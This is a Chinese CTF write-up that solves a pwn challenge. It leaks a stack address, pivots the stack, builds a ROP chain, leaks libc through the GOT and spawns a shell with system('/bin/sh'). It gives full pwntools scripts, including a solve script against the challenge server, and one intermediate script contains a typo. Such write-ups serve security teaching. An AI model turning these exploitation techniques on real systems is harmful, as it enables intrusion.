# [CH] LoTuX Fundraising Platform 1
###### tags: `Writeup` `Pwn` `Chinese`
> [name=Curious]
## 思路和解法
下載後發現只有一個 binary `chal`,所以先把它拿去 IDA 看看。稍微整理一下反編譯的 code 之後


分析一下 `register_donation`,可以發現裡面 `buf` 的位置在 `$rbp - 0x10`,且會讀取 0x10 個 bytes 到 `buf` 然後透過 `printf("... %s", buf)` 印出來。所以可以透過填滿 0x10 個 bytes 然後 `printf` 時就會一併印出 `main` 的 rbp 的位址。
```python=
from pwn import *
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
r = process('./chal')
r.sendafter(b'> ', b'a' * 16)
r.sendlineafter(b'> ', b'1234')
r.recvuntil(b'a' * 16)
rbp = u64(r.recv(6).ljust(8, b'\x00'))
info(f'rbp : {hex(rbp)}')
r.interactive()
```
再分析一下 `main`,可以發現有一個很明顯的 BOF 在 `read(0, buf, 0x40)` 這邊,又因為這題沒有 PIE,所以可以使用 `chal` 本身自帶的 ROP Gadget 去做 ROP。
接下來看一下 `chal` 有什麼可以用的 ROP Gadget

因為 BOF 的長度只有 0x20,沒有辦法一次把 ROP 全部寫完,所以說一定會需要對 stack 做一寫更改。又因為我們已經知道 rbp 的位址,所以可以透過 `pop rsp` 來更改 stack 頂端的位址來拉長 ROP 的長度。
先構建一下目前的 ROP Chain
```
| ??? ; buf
| ???
| ???
| ???
| ??? ; rbp
| 0x40134d ; pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
| buf - 0x18 ; 減掉 0x18 是為了 pop 完 r13, r14, r15 可以直接接 buf 的內容
```
接著因為這題要 get shell,需要用到 libc 裡面的函數,所以要 leak libc 的 base address。
```
| 0x401353 ; (buf) pop rdi ; ret
| printf_got
| puts_plt
| ???
| ??? ; rbp
| 0x40134d ; pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
| buf - 0x18 ; 減掉 0x18 是為了 pop 完 r13, r14, r15 可以直接接 buf 的內容
```
這樣就可以 leak 出 `printf_got` 裡面 `printf` 的 address 然後計算出 libc 的 base address。
```python=
from pwn import *
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
r = process('./chal')
r.sendafter(b'> ', b'a' * 16)
r.sendlineafter(b'> ', b'1234')
r.recvuntil(b'a' * 16)
rbp = u64(r.recv(6).ljust(8, b'\x00'))
info(f'rbp : {hex(rbp)}')
pop_rdi_ret = 0x401353
pop_rsp_r13_r14_r15_ret = 0x40134d
puts_plt = 0x401080
printf_got = 0x404020
gdb.attach(r)
r.sendlineafter(b'? ', flat(
pop_rdi_ret, printf_got,
puts_plt, b'aaaaaaaa',
b'aaaaaaaa',
pop_rsp_r13_r14_r15_ret, rbp - 0x38
))
libc = u64(r.recvline().strip().ljust(8, b'\x00')) - 0x061c90
info(f'libc : {hex(libc)}')
r.interactive()
```
接著可以看一下 `main` 的反組譯碼

可以看到我們可以透過控制 rbp 的位址,然後利用 `main + 51` 開始的 instruction 重新讀一段新的 ROP Chain 進來
```python=
from pwn import *
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
r = process('./chal')
r.sendafter(b'> ', b'a' * 16)
r.sendlineafter(b'> ', b'1234')
r.recvuntil(b'a' * 16)
rbp = u64(r.recv(6).ljust(8, b'\x00'))
info(f'rbp : {hex(rbp)}')
pop_rdi_ret = 0x401353
pop_rsp_r13_r14_r15_ret = 0x40134d
read_instruction = 0x4012c8
puts_plt = 0x401080
printf_got = 0x404020
gdb.attach(r)
r.sendlineafter(b'? ', flat(
pop_rdi_ret, printf_got,
puts_plt, read_instruction,
rbp + 0x20p,
pop_rsp_r13_r14_r15_ret, rbp - 0x38
))
libc = u64(r.recvline().strip().ljust(8, b'\x00')) - 0x061c90
info(f'libc : {hex(libc)}')
r.interactive()
```
接下來就用跟剛剛一樣的方法,改 rsp 然後直接 get shell 了。
Solve Script :
```python=
from pwn import *
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
r = remote('lotuxctf.com', 10003)
r.sendafter(b'> ', b'a' * 16)
r.sendlineafter(b'> ', b'1234')
r.recvuntil(b'a' * 16)
rbp = u64(r.recv(6).ljust(8, b'\x00'))
info(f'rbp : {hex(rbp)}')
pop_rdi_ret = 0x401353
pop_rsp_r13_r14_r15_ret = 0x40134d
read_instruction = 0x4012c8
puts_plt = 0x401080
printf_got = 0x404020
r.sendlineafter(b'? ', flat(
pop_rdi_ret, printf_got,
puts_plt, read_instruction,
rbp + 0x20,
pop_rsp_r13_r14_r15_ret, rbp - 0x38
))
libc = u64(r.recvline().strip().ljust(8, b'\x00')) - 0x061c90
info(f'libc : {hex(libc)}')
binsh = libc + 0x00000000001b45bd
system_addr = libc + 0x000000000052290
r.sendline(flat(
pop_rdi_ret, binsh,
system_addr, b'aaaaaaaa',
rbp + 0x20,
pop_rsp_r13_r14_r15_ret, rbp - 0x18
))
r.interactive()
```
{%hackmd M1bgOPoiQbmM0JRHWaYA1g %}